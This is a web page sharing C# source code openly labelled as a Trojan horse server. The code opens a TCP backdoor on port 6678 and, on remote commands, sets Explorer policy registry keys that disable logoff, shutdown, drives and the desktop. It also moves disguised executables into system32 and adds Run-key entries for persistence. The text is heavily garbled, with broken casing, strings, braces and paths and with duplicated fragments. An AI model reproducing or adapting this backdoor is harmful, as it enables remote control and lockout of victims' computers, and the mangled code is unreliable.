Trojan Horse Server Source Code (C #)

xiaoxiao2021-03-06 42

Trojan server // wgscd 2004-12 QQ: 153964481using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; using System.Data; using System.IO; using System.Net Using system.net.sockets; using system.threading; using microsoft.win32;

A summary description of Namespace Server {///

/// Form1. /// public class form1: system.windows.Forms.form {///

// The designer variable is required. /// private system.componentmodel.container components = null;

Private TCPListener Listener; Private String MyStr = "Hello! I am very sorry, your registry:"; private registryKey rr = registry.localmachine; private registryKey Key1;

Public form1 () {// // Windows Form Designer Support for // InitializationComponent (); {INT port = 6678; listener = new TCPListener (port); listener.Start (); thread thread = new thread New ThreadStart (Target); thread.start ();

}

// // Todo: Add any constructor code after INITIALIZEComponent call //} public void target () {socket socket = listener.acceptsocket (); while (socket.connected) {

Byte [] by = new byte [6]; int i = socket.receive (by, by.length, 0); string ss = system.text.Encoding.ascii.getstring (by); // @ ooooooooooooooooooooooooooooooooooooooo 是修注注table OOOOOOOOOOOOOOOOOOOOOOOOOOO // &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if (ss == "jiance") {string str = "hjc"; byte [] bytee = System.Text.Encoding.ASCII.GetBytes (str.ToCharArray ()); socket.Send (bytee, Bytee.length, 0);} if (ss == "zx1000) {try {key1 = rrr.opensubKey (" Software // Microsoft // Windows // CurrentVersion // Policies // Explorer ", true); key1. SetValue ("NOLOGOFF", 1); key1.close (); mystr = mystr "hkey_local_machine // Software // microsoft // windows // costversion // policies // costR key value NOLOGOFF is modified! Please set it to 0 ! ";} Catch {} if (key1 == null) {Try {regiSTRYKEY key2 = rrr.createSubkey (" Software // Microsoft // Windows // CurrentVersion // Policies // Explorer "); key2.setValue (" NOLOGOFF ",1); Key2.close (); mystr = mystr "hkey_local_machine // Software // Microsoft // Windows // CurrentVersion // Policies // Explorer key value NOLOGOFF is modified! Please set it to 0! "

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.Length, 0);} // if (ss == ") // &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& *********************************************************** ** if (ss == "zx0100") {try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer", True); Key1.SetValue ("Noclose", 1); key1.close (); mystr = mYStr "localmachine // software // textVersion // policies // Explorer key value NOCLOSE is modified! Please set it to 0!";

} Catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer"); Key2.SetValue ("Noclose", 1 ); Key2.close (); mystr = mystr "localmachine // software // textVersion // policies // costr key value noClose is modified! Please set it to 0!";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.Length, 0);} // if (ss == "zx0100) {// ********************************* *********************************************************** * // IF (SS == "ZX0010") {Try {Key1 = Rrr.OpenSubKey ("Software / / Microsoft // Windows // CurrentVersion // Policies // Explorer ", true); Key1.SetValue (" nodrives ", 12); key1.close (); mystr = mystr " hkey_local_machine // Software // Microsoft // Windows // currentversion // policies // Explorer key value Nodrives is modified! Please set it to 0 ";

} Catch {} if (key1 == null) {Try {regiSTryKey key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer"); Key2.SetValue ("Nodrives", 12 ); Key2.close (); mystr = mYStr "HKEY_LOCAL_MACHINE // Software // Microsoft // Windows // CurrentVersion // POLICIES / / Explorer key value Nodrives is modified! Please set it to 0";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // IF / / // ======================== ===================================================================================================================== ZX0001 ") {Try {key1 = rrr.opensubkey (" Software // Microsoft // Windows // CurrentVersion // POLICIES // Explorer ", true); Key1.SetValue (" Nodesktop ", 1); key1.close () ; Mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // Windows // CurrentVersion // Policies // Explorer key value nodesktop is modified! Please set it to 0";

} Catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer"); Key2.SetValue ("Nodesktop", 1 Key2.Close (); mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // Windows // CurrentVersion // Policies // Explorer key value nodesktop is modified! Please set it to 0";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // IF // =============================================== ============================= // $$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$ IF (SS == "ZX1100") {try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer", True); Key1.SetValue ("NOLOGOFF" , 1); Key1.SetValue ("noclose", 1); key1.close (); mystr = mystr hkey_local_machine // software // microsoft // windows // costversion // policies // Explorer key value NOLOGOFF, NOCLOSE Modify! Please set it to 0 ";

} Catch {} if (key1 == null) {Try {registryKey Key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer"); Key2.SetValue ("NOLOGOFF", 1 Key2.SetValue ("Noclose", 1); key2.close (); mystr = mystr hkey_local_machine // software // microsoft // windows // costverse // welicies // Explorer key value NOLOGOFF, NOCLOSE is modified! Please set it to 0 ";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // if // &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if (ss == "zx1010") {try {key1 = rrr.OpenSubKey ( "SOFTWARE // Microsoft // Windows // CurrentVersion // Policies // Explorer", true); key1.SetValue ("NOLOGOFF", 1); Key1.SetValue ("Nodrives", 12); key1.close (); mystr = mystr "hkey_local_machine // Software // microsoft // windows // costversion // policies // Explorer key value NOLOGOFF, NODRIVES is modified! Please set it to 0 ";} catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey (" Software // Microsoft // Windows // CurrentVersion // Policies / / Explorer "); Key2.SetValue (" NOLOGOFF ", 1); Key2.SetValue (" Nodrives ", 12); key2.close (); mystr = mystr " hkey_local_machine // Software // Microsoft // Windows // CurrentVersion // Policies // Explorer key value NOLOGOFF, NODRIVES is modified! Please set it to 0 ";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // IF // *********************************************************************** ****** i (ss == "zx1001") {try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer", True); Key1.SetValue "NOLOGOFF", 1); Key1.SetValue ("Nodesktop", 1); key1.close (); mystr = mystr "hkey_local_machine // Software // microsoft // windows // costversion // policies // Explorer key value NOLOGOFF Nodesktop is modified! Please set it to 0 ";} catch (Exception EE) {messagebox.show (Ee.Message);} if (key1 == null) {Try {registryKey Key2 = rrr.createSubkey (" Software / / Microsoft // Windows // CurrentVersion // Policies // Explorer "); Key2.SetValue (" NOLOGOFF ", 1); Key2.SetValue (" Nodesktop ", 1); key2.close (); mystr = mystr " HKEY_LOCAL_MACHINE // Software // Microsoft // Windows // CurrentVersion // Policies // Explorer key value NOLOGOFF, NODESKTOP is modified! Please set it to 0 ";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // IF // *********************************************************************** IF (ss == "zx0110") {try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer", true); Key1.SetValue ("Noclose", 1) Key1.SetValue ("Nodrives", 12);

Key1.close (); mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // WINDWARE // CurrentVersion // Policies // Explorer key value NOCLOSE, NODRIVES is modified! Please set it to 0";

} Catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer"); Key2.SetValue ("Noclose", 1 Key2.SetValue ("NODRIVES", 12); key2.close (); mystr = mystr "HKEY_LOCAL_MACHINE // Software // Microsoft // WINDOWS / / CURRENTVERSION / / POLICIES / / EXPLORER key value NOCLOSE, NODRIVES is modified! Please set it to 0 ";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // IF // *********************************************************************** IF (ss == "zx0101") {try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer", True); Key1.SetValue ("Noclose", 1) Key1.SetValue ("Nodesktop", 1);

Key1.close (); mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // Windows // CurrentVersion // POLICIES // Explorer key value NOCLOSE, NODESKTOP is modified! Please set it to 0";

Key2.close (); mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // Windows // CurrentVersion // Policies // Explorer key value NOCLOSE, NODESKTOP is modified! Please set it to 0";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.Length, 0);} // if // ***************************** IF ( SS == "zx0011") {Try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // POLICIES // Explorer", True); Key1.SetValue ("Nodrives", 12); Key1 .SETVALUE ("Nodesktop", 1);

Key1.close (); mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // Windows // CurrentVersion // POLICIES // Explorer key value Nodrives, Nodesktop is modified! Please set it to 0";

Key2.close (); mystr = mystr "HKEY_LOCAL_MACHINE // Windware // Microsoft // Windows // CurrentVersion // POLICIES // Explorer key value Nodrives, Nodesktop is modified! Please set it to 0";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // if // ************************************ IF (ss == "zx1110" ) {Try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // POLICIES /// Explorer", True); Key1.SetValue ("Nologoff", 1); Key1.SetValue ("Noclose" , 1); Key1.SetValue ("NODRIVES", 12);

Key1.close (); mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // Windows // CurrentVersion // Policies // Explorer key value NOLOGOFF, NOCLOSE, NODRIVES is modified! Please set it to 0";} catch { } If (key1 == null) {Try {registryKey key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer"); Key2.SetValue ("Nologoff", 1); Key2 .SetValue ("Noclose", 1); Key2.SetValue ("NODRIVES", 12);

Key2.close (); mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // WINDWARE // CurrentVersion // Policies // Explorer key value NOLOFF, NOCLOSE, NODRIVES is modified! Please set it to 0";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // if

/// ************************************** IF (ss == "zx1101") { Try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // POLICIES // Explorer", true); Key1.SetValue ("NOLOGOFF", 1); Key1.SetValue ("Noclose", 1 Key1.SetValue ("Nodesktop", 1);

Key1.close (); mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // WINDWARE // CurrentVersion // Policies // Explorer key value NOLOFF, NOCLOSE, NODESKTOP is modified! Please set it to 0";

} Catch {} if (key1 == null) {Try {registryKey Key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer"); Key2.SetValue ("NOLOGOFF", 1 Key2.SetValue ("Noclose", 1); Key2.SetValue ("Nodesktop", 1); key2.close (); mystr = mystr "hkey_local_machine // Software // Microsoft // Windows // CurrentVersion // POLICIES // Explorer key value NOLOGOFF, NOCLOSE, NODESKTOP is modified! Please set it to 0 ";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // if // *************************************** IF ( SS == "ZX1011") {Try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer", true); Key1.SetValue ("NOLOGOFF", 1); Key1 .SetValue ("NODRIVES", 12); Key1.SetValue ("Nodesktop", 1);

Key1.close (); mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // Windows // CurrentVersion // Policies // Explorer key value NOLOGOFF, NODRIVES, NODESKTOP is modified! Please set it to 0";

Key2.close (); mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // Windows // CurrentVersion // Policies // Explorer key value NOLOFF, NODRIVES, NODESKTOP is modified! Please set it to 0";} // Try catch {}} // if (key1 == null) {string str = "hkz"; Byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (bytee, Bytee.length, 0);

} // if

// ***************************************** IF (ss = = "zx0111") {Try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer", True); Key1.SetValue ("Nodrives", 12); Key1.SetValue ("Noclose", 1); Key1.SetValue ("Nodesktop", 1);

Key1.close (); mystr = mystr "hkey_local_machine // Software // Microsoft // Windows // CurrentVersion // POLICIES // Explorer key value NOCLOSE, NODRIVES, NODESKTOP is modified! Please set it to 0";

Key2.close (); mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // WINDWARE // CurrentVersion // Policies // Explorer key value NOCLOSE, NODRIVES, NODESKTOP is modified! Please set it to 0";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // IF // *********************************************************************** IF (ss == "zx1111) {try {key1 = rrr.opensubkey (" Software // Microsoft // Windows // CurrentVersion // Policies // Explorer ", true); Key1.SetValue (" NOLOGOFF ", 1) Key1.SetValue ("Noclose", 1); Key1.SetValue ("NODRIVES", 12); Key1.SetValue ("Nodesktop", 1); key1.close (); mystr = mystr "hkey_local_machine // Software //// Microsoft // Windows // CurrentVersion // Policies // Explorer key value NOLOGOFF, NOCLOSE, NODRIVES, NODESKTOP is modified! Please set it to 0 ";

Key2.close (); mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // Windows // CurrentVersion // Policies // Explorer key value NOLOFF, NOCLOSE, NODRIVES, NODESKTOP is modified! Please set it to 0";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // IF // *********************************************************************** * // OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO /

// pppppppppppppppppppppppppppppppPPPPPPPPPPppppPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPppppppppppppppppppppPppppppppppppppppp

// &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if (ss == "zs1000") {try {key1 = rrr.OpenSubKey ( "SOFTWARE // Microsoft // Windows // CurrentVersion // Policies // Explorer", true); key1.SetValue ( "NoLogOff" , 0); Key1.close ();} catch {} if (key1 == null) {Try {regiSTRY Key2 = rrr.createssubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer") Key2.SetValue ("NOLOGOFF", 0); key2.close ();

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // if (ss == ") // &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& ************************************ IF (ss == "zs0100") {Try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // POLICIES // Explorer", true); key1.setValue ("noclose", 0); key1.close ();} catch {} ing Key1 == null) {Try {registryKey Key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer"); Key2.SetValue ("noclose", 0); key2.close );

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.Length, 0);} // if (ss == "zx0100) {// ********************************* ****************************************** / / IF (SS == "ZS0010") {Try {Key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies / / Explorer ", true); Key1.SetValue (" nodrives ", 0); key1.close ();} catch {} if (key1 == null) {Try {registryKey Key2 = rrr.createSubkey (" Software // Microsoft // windows // currentversion // policies // Explorer "); Key2.SetValue (" Nodrives ", 0); key2.close ();} // try catch {}} // if (key1 == null) { String str = "hkz"; byte [] bytee = system.text.encoding.ascii.getbytes (STR.TOCHARRAY ()); socket.send (bytee, bytee.length, 0) ;

} // IF / / // =========================== ==================================================== {Try {Key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // POLICIES // Explorer", True; Key1.SetValue ("Nodesktop", 0); key1.close ();

} Catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer"); Key2.SetValue ("nodesktop", 0 Key2.Close ();

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // IF // =============================================== ============================= i (ss == "zs1100") {Try {key1 = rrr.opensubkey ("Software / / Microsoft // Windows // CurrentVersion // Policies // Explorer ", true); Key1.SetValue (" Nologoff ", 0); Key1.SetValue (" noclose ", 0); key1.close ();} catch { } IF (key1 == null) {Try {registryKey key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // POLICIES // Explorer"); key2.setValue ("nologoff", 0); Key2 .SetValue ("Noclose", 0); Key2.Close ();

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // if // &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if (ss == "zs1010") {try {key1 = rrr.OpenSubKey ( "SOFTWARE // Microsoft // Windows // CurrentVersion // Policies // Explorer", true); key1.SetValue ("NOLOGOFF", 0); Key1.SetValue ("nodrives", 0); key1.close ();} catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer "); Key2.SetValue (" NOLOGOFF ", 0); Key2.SetValue (" nodrives ", 0); key2.close ();

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // IF // *********************************************************************** ****** if (ss == "zs1001") {try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer", True); Key1.SetValue "NOLOGOFF", 0); Key1.SetValue ("Nodesktop", 0); key1.close ();

} Catch {} if (key1 == null) {Try {regiSTryKey key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer"); Key2.SetValue ("NOLOGOFF", 0 ); Key2.setValue ("nodesktop", 0); key2.close ();} // try catch {}} // if (key1 == null) {string str = "hkz"; Byte [] bytee = system .Text.Encoding.ascii.getbytes (STR.TOCHARRAY ()); socket.send (Bytee, Bytee.length, 0);

} // IF // *********************************************************************** IF (SS == "ZS0110") {Try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer", true); Key1.SetValue ("noclose", 0) Key1.SetValue ("Nodrives", 0);

Key1.Close ();

} Catch {} if (key1 == null) {Try {regiSTryKey key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer"); Key2.SetValue ("Noclose", 0 Key2.SetValue ("Nodrives", 0);

Key2.Close ();

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // IF // *********************************************************************** IF (ss == "zs0101") {Try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer", true); key1.setValue ("noclose", 0) Key1.SetValue ("nodesktop", 0);

Key1.Close ();

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // if // ******************************* if (ss == "zs0011") {TRY { Key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer", true); Key1.SetValue ("Nodrives", 0); Key1.SetValue ("Nodesktop", 0);

Key1.Close ();

} Catch {} if (key1 == null) {Try {regiSTryKey key2 = rrr.createsubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer"); Key2.SetValue ("Nodrives", 0 Key2.SetValue ("nodesktop", 0);

Key2.Close ();

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // iv // ************************************ IF (ss == "ZS1110" ) {Try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // POLICIES // Explorer", true); key1.setValue ("nologoff", 0); key1.setValue ("noclose" , 0); Key1.SetValue ("NODRIVES", 0);

Key1.close (); mystr = mystr "HKEY_LOCAL_MACHINE / / SOFTWARE // Microsoft // Windows // CurrentVersion // Policies // Explorer key value NOLOGOFF, NOCLOSE, NODRIVES is modified! Please set it to 0";} catch { } IF (key1 == null) {Try {registryKey key2 = rrr.createSubkey ("Software // Microsoft // Windows // CurrentVersion // POLICIES // Explorer"); key2.setValue ("nologoff", 0); Key2 .SetValue ("Noclose", 0); Key2.SetValue ("NODRIVES", 0);

Key2.Close ();

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // if

// ************************************** IF (ss == "zs1101") { Try {key1 = rrr.opensubKey ("Software // Microsoft // Windows // CurrentVersion // POLICIES // Explorer", true); key1.setValue ("nologoff", 0); key1.setValue ("noclose", 0 Key1.SetValue ("nodesktop", 0);

Key1.Close ();

Key2.Close ();

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // if // *************************************** IF ( SS == "ZS1011") {Try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer", True); Key1.SetValue ("NOLOGOFF", 0); Key1 .SetValue ("Nodrives", 0); Key1.SetValue ("Nodesktop", 0); Key1.Close ();

Key2.Close ();

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // if

// ***************************************** IF (ss = = "ZS0111") {Try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Policies // Explorer", true); Key1.SetValue ("Nodrives", 0); Key1.SetValue ("Noclose", 0); Key1.SetValue ("Nodesktop", 0);

Key1.close (); mystr = mystr "hkey_local_machine // Software // Microsoft // Windows // CurrentVersion // POLICIES // Explorer key value NOCLOSE, NODRIVES, NODESKTOP is modified! Please set it to 0";

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // IF // *********************************************************************** IF (SS == "ZS1111) {Try {key1 = rrr.opensubkey (" Software // Microsoft // Windows // CurrentVersion // POLICIES // Explorer ", true); key1.setValue (" nologoff ", 0) Key1.SetValue ("noclose", 0); Key1.SetValue ("Nodrives", 0); Key1.SetValue ("Nodesktop", 0);

Key1.Close ();

Key2.Close ();

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

} // if

// pPppppppppppppppppppppppppppppppppPppppppPPppppppppPppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp

// >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>> IF (SS == "JG0000") {MessageBox.show ("You are black!"); String str = "hkz"; byte [ ] bytee = System.Text.Encoding.ASCII.GetBytes (str.ToCharArray ()); socket.Send (bytee, bytee.Length, 0);} // >>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>> Soldn >>>>>>>>>>>>>>>>>>>>>>> >> // &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& following recommendation &&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if (ss == "jy0000") {MessageBox.Show (mystr); string str = "hkz"; byte [] bytee = System.Text.Encoding.ASCII.GetBytes (str. Tochararray ()); socket.send (Bytee, Bytee.length, 0);} / &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

// ##################################################################################################################################################################################################################################################################################################### ########## | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| |||||||||||||||||||||||| IF (ss == "MW1000") {Try {file.move ( "c: //winnt//system//expler.exe", "c: //winnt//system32/Msdoss.exe");} catch {} try {key1 = rrr.opensubkey ("Software // Microsoft // windows // currentversion //r ", true); key1.setValue (" msdoss "," c: //winnt//system32/msdoss.exe "); key1.close ();} catch {} if (Key1 == NULL) {Try {registryKey key2 = rrr.createSubkey ("Software // Microsoft // Run"); key2.setValue ("msdoss", "c: // Winnt // system32 //msdoss.exe "); key2.close ();

// ___________________________________________________________

IF (ss == "MW0100") {Try {file.move ("c: //winnt//system/expleror.exe", "d: //winnt//system32/ //microsoftt.exe");} Catch {} try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Run", true); Key1.SetValue ("MicrosoftT", "D: // WinNT // System32 // MicrosoftTt "); key1.close ();

} Catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey ("Software // Microsoft // Run"); Key2.SetValue ("MicrosoftT", "D: / /Winnt//system32//MICROSOFTT.EXE "); key2.close ();} // try catch {}} // if (key1 == null) {string str =" hkz "; byte [] bytee = system .Text.Encoding.ASCII.GetBytes (str.ToCharArray ()); socket.Send (bytee, bytee.Length, 0);} // ______________________________________________________________________

/ / =========================================================================================================================================================================================== ======================== = (SS == "MW0010") {Try {file.move ("C: // WinNT // System32 // Msdoss.exe "," c: //winnt//system//expleror.exe ");} catch {} try {key1 = rrr.opensubkey (" Software // Microsoft // Windows // CurrentVersion // Run ", True); Key1.SetValue ("expleror", "c: //winnt//system//expleeror.exe"); key1.close ();

} Catch {} if (key1 == null) {Try {registryKey key2 = rrr.createssubkey ("Software // Microsoft // Windows // CurrentVersion // Run"); Key2.SetValue ("Expleeror", "C: / / Winnt // System // Expler "); Key2.close ();

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.Length, 0);} // ===================================== =============================== // ***************** ************************************************ (SS == "MW0001") {Try {file.move ("D: //winnt//system32/MICROSOFTT.EXE", "C: //winnt//system//expleror.exe");} catch {} Try {key1 = rrr.opensubKey ("Software // Microsoft // Run", true); key1.setValue ("expleror", "c: // Winnt // system // explero. EXE "); key1.close ();

} // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (Bytee, Bytee.length, 0);

// ******************************************************** *******************************

// ############################################################################################################################################################################################################################################################## ############ ····································································· ······· if (ss == "xz0000") {try {key1 = rrr.opensubkey ("Software // Microsoft // Windows // CurrentVersion // Run"; try {key1.deletevalue "expler");} catch {} try {key1.deletevalue ("msdoss");} catch {} try {key1.deletevalue ("MicrosoftT");} catch {} key1.close ();} catch {} string Str = "hkz"; Byte [] bytee = system.text.encoding.ascii.getbytes (STR.TOCHARRAY ()); socket.send (bytee, bytee.length, 0);}

// ·············································

} // Socket

// // Todo: add any constructor code after initializecomponent call //} // targett

///

/// Clean all the resources being used. /// Protected Override Void Dispose (Bool Disposing) {if (disponents! = Null) {components.dispose ();}} Base.Dispose (4);

#Region Windows Form Designer Generated Code ///

